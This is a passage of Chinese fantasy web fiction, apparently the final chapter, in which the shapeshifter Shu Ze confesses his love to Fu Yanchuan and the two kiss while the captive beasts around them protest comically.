而他虽然看不见舒泽的表情,但也知道,他那样的角度,眼里只装得下傅宴川一个人。 毛茸茸的大尾巴一甩一甩。 好般配哦…… 傅宴川把和小皇帝商量好的事情,原原本本,简短的解释了一下。 “等安排好,我们就一起回家。” 他不经意的说了一句,“为了避免麻烦,你和二牛一起走,就不要露面了。” 舒泽只顾着看傅宴川,叽里咕噜说什么呢,不想听,想求婚。 他拉住了傅宴川的手。 傅宴川一颤,心虚,“怎么了?” 他试探性的问,“你想,参加?” 说着说着,他视线都飘了一下,怕害怕看清舒泽眼里的期待。 往常这种麻烦的活动,舒泽从来没有兴趣参加的。但他今天却主动提起,难道是对小皇帝有兴趣? 傅宴川眼中闪过一丝阴暗。 心想。 小泽,最好不要这样说。 就算你想,我也不会同意的。 根本就没在听的舒泽,参加啥? 参加我们的婚礼的吗? “哥,我有件事想和你说。”《 》 第45章【终章】 第45章 终章 爱终有归期 傅宴川:“?” 还有预告? 喉咙一紧,心都被提了起来。 傅宴川骤然警惕。 养过崽的都知道,当孩子说像上厕所的时候,一般都已经拉裆里了。而养过混世魔兽的傅宴川,只见过舒泽上天入地的闹腾后,灰头土脸眼睛闪闪的让他擦屁股。 用一句话代替就是——oi,我鬼混回来了,放饭。 所以,只有喂饭权没有管辖权的傅宴川,真的很难想象。 能让舒泽提前播报的,能是什么把天捅破的大事。 “小泽……”他沉吟着开口,但在看清那双眼睛之后,千言万语成了空,消弭于天际。 舒泽的眼睛太亮了,亮到傅宴川心上月升,如梦,似幻。 他怕自己一开口,那千万年都无法消散的爱意就再也控制不住。 被摁在地上的兽兽们,全都化身成长颈鹿,一个两个脖子伸老长。 四肢贴地,嘴巴还被封着的熊熊倔强的撅起了屁股。 熊熊想把自己自己尾巴塞进舒泽嘴巴,给他堵死咯。 什么都别说。 他!不!许!有!人!和!他!抢!园!长(最爱的厨师长位置)! 傅宴川心乱如麻,掌心一紧,威压天降。 努力向上的圆尾巴啪叽——压扁了。 一个圆润的o被挤成O。 “噗——” 汤圆漏气,两条泪又被他张着嘴咽回去。 眼泪的苦,我知道。 皮皮沉默闭上眼,他虽然也不想傅宴川把园长给抢走。但是他知道,这是人家两厢情愿的事情,就算有再多的人插手也没用。 舒泽的视线朝着左右晃了一圈,敏锐的察觉到,他哥的情绪不太好。 到嘴边的话咽了回去,皱眉,“哥,怎么了?” 他只是一只大黄面包,最近发生的事情实在是太多了,再打断他的甜蜜生活,他要吃人了哦。 傅宴川避开眼,“没事,就是想到后面回去了,还有很多事情要安排。” 舒泽微微生气,“还有什么事?” 谁还敢打扰他奔向幸福生活。 傅宴川一时卡了壳,但很快说道:“原先生活在山海境里的兽兽们苏醒,但思维终究停留在千年前。” “现在的一切,对他们来说太陌生了。” 毕竟现在除了弟弟,睁眼闭眼都是山海镜的事情。最开始是为了转移话题,而现在,傅宴川的忧思忧虑全都涌了上来。 “他们应该怎么生活?” “偏安一隅,与世无争,或许千万年前我们可以做到。但现在,帝国的那位是不会允许的。” “终有外联的一天且不会太久。” “那时候的他们真的面对了吗?” “还有——”傅宴川眼神一暗,“他们。” 眼前的兽兽们,他是一定要带回去的。但是带回去之后呢? 虽然他们同出一门,但是不同的经历习性,完完全全是两个世界的兽。一山不容二虎……若起冲突,他该怎么办? 最重要的,他能有什么办法,避免这种冲突呢。 傅宴川眉宇间染上阴霾,终于能踏上回家的路了,但前方诡雾弥漫,哪怕他的满身修为已经恢复,一剑便可定乾坤。 但,他不是以前的宴川帝君了。 有些东西,一旦被打碎就回不去了。 舒泽静静地听他哥讲完,抬起手抚上眉心折痕,轻轻的,“哥哥,你很紧张?” 指尖的撩起涟漪,舒泽的话却是投入湖面的石子,砸得他一震。 “小泽……” 舒泽拧着眉,似想不通,“你从来不和我说这些的。” 他早就看穿,傅宴川习惯什么事情都一个人扛。但是他刚刚居然叽里呱啦的说了那么长一串。 说明他在掩饰。 掩饰自己更深的惶恐。 “融入是一件很困难的事情吗?”舒泽问到。 “直接送他们来打工就好了啊。” 舒泽一脸坦然。 他当时不就是那么过来的吗?一手一串兽兽,往外面一甩,全都是会拿钱回来的乖宝宝。 如果他们不乖的话,他还略懂一些拳脚。 傅宴川:“……” 舒泽:“融不融合的也不重要吧。反正都要忙着上班,也没时间社交啊。” 只是说不出话,但是什么都听见了的兽兽们:“……” 身上没点属性,都做不了舒院长园子里的兽。 舒扒皮一脸理所应当,傅宴川张了张嘴,居然什么都说不出来,“…………” 好像不太对,但是又好有道理。 傅宴川捏了捏眉心,嘴角扬起一抹无奈的笑,“你总是有各种奇思妙想。” 纵然前方有千难万阻,但总有舒泽在他身边不是吗? 压着的大石头被穷奇暴力掀飞,他心思一松,“你刚刚想和我说什么?” 舒泽:“哦,我想说,我喜欢你。” 他的语气随意得像明天早上想吃油条包子。 傅宴川心跳漏了一拍,有一种你苦寻某样珍宝千万年,突然来个人从你枕头底下摸出来,pia叽扔你面前。 “喏,这就是。” 但那么珍贵的东西怎么可能那么轻松得到,极大可能,或者说几乎可以肯定是假的。 傅宴川稳住心神,明白舒泽说的喜欢不是自己想的那样。 笑容难掩苦意,“我知道小泽喜欢哥哥,怎么突然说起这个?” 舒泽死死盯着傅宴川的表情,发现他哥平淡的有点过头。 他凑近了些,不大高兴的重复了一遍,眼中有自己都不曾察觉的执拗,“我是说,我喜欢你。” 怎么的也该生气一下吧? 毕竟他曾经是见过九天之上的神女来找他哥表白的。 那般美丽的神女,羞红着脸大胆示爱。 傅宴川的反应是——礼貌拒绝,无情转身。 对方穷追不舍,傅宴川恼后一剑破地,以此为界。警告对方,再敢靠近的话,他就真的动手了。 傅宴川好像格外的讨厌这种事,不愿和任何人牵扯上感情纠纷,就像、就像是怕被某个人误会一样。 傅宴川以为自己活了那么多年,不管心里再怎么想,也绝不会叫人从面上窥探出真实情感。 但现在,他乱了。 求而不得之物,谁不想要? 问一遍,可能还有理智牵着。 再多说一遍,从未吃过橱窗里的蛋糕的小孩儿,也没有办法保持礼貌。 多年筑就的高墙摇摇欲坠,舒泽的眼神那样倔强那样认真,那个最不可思议的答案,不讲道理的蛮横的闯进脑子里——宕机了。 傅宴川不说话,舒泽很生气。 气得灵台清明,语言系统原地升级。 敏锐的眯起眼睛,“你不会觉得我说的是,弟弟对哥哥的喜欢吧?” 他不怕傅宴川的拒绝,反正他哥拒绝他哥的,真追起来,他有的是力气和手段让他同意。 但就怕他哥就没把他平等的,当一个追求者来看待。 就觉得他是不懂事的弟弟。 如果真是这样的话—— 真是这样的话,他现在就造反,把人绑了扔钱堆里去。 他是一个会养家的成熟男人。 要成熟的解决问题。 “你别不说话。”舒泽烦躁,“你这是在逃避问题吗?” “我再和你说一遍,我,喜欢你。” “不是弟弟对哥哥的喜欢。”舒泽伸手在傅宴川身上比划比划,铿锵有力,“是我想和你睡。” 兽兽们:“……” 幼崽保护协会呢?他们要报J,这里有肮脏的大人影响兽兽的纯洁。 耳朵都红透了的傅宴川:“……” 他现在,头晕目眩还发飘。 感情上,觉得自己在做梦。 理智上很清楚,他不至于分不清现实和梦境。 因为做梦,他不可能可以脑补出小泽如此与众不同的操作和放在他身上又是那么合理的话来。 但是眼前这情况,他实在是,束手无策。 都说到这个份上了,傅宴川还是没什么反应。 舒泽被惹毛了。 所以,“你今天不想和我说话吗?” 没想到是以这种方式结尾的,舒泽好失落,“那我明天再来问题吧。” 傅宴川还有好多事情要忙,他不舍得把人绑了。 他决定毛茸茸的走开。 趴在地上的兽兽们出奇的愤怒了,全都开始躁动。 他什么意思?园长的告白他居然敢不答应! 不识好歹! 舒泽不开心的转身,又恢复成之前懒懒散散,没什么力气的样子。 感情这种事情,好难。 咪不懂。 咪有点伤心。 咪准备去吃饭。 嗡———— 身体比语言先作出行动,傅宴川将舒泽拉入怀中,迫不及待的吻下。 温热的身躯填满空的心。 世上怎么会有他那么幸运的人? 怎么会—— 干净清冽的味道从唇上辗转传来,傅宴川竟然不知道用什么样的话来形容此时的心情。 语无伦次,颠三倒四。 还好…… 怎么会…… 好…… 绵长的一吻没有绝断,舒泽的腰被锢出易折的弧度,但那双大手的托举,虔诚俯身的男人根本就不舍得让他受到伤害。 四周的见证者蠕动着发出抗议。 住嘴!!! 你在干什么!!! 放开我园长!!!! 你居然敢答应!! 可以听见心声的某人充耳不闻,辗转反侧的索取确认。 他总要做点什么,才敢确认眼前这一切都是真的,不是他在做梦。 傅宴川微微离开,哑着嗓子,“小泽,呼吸。” 已经被亲懵了的舒泽,一双眼眸汪着水,跟随指示,迷茫的张开嘴,莹润的色泽,缱眷的热气腾起。 咪已经彻底懵逼了。 他是谁,发生了什么? 傅宴川忍不了,再次倾身而下,吻住了珍宝。 舒泽虽然不明白,但揪着他的衣服,随心而动迎了上去。 这是……成功了? 追人就是一件那么简单的事情? 他甚至都没来得及展示一下成熟男人的魅力啊…… 一生都被照顾得很好,单纯的大黄面包不知道,情爱从不是一件简单的事情。 只是会有人跋山涉水来爱你。 爱终有归期。《 》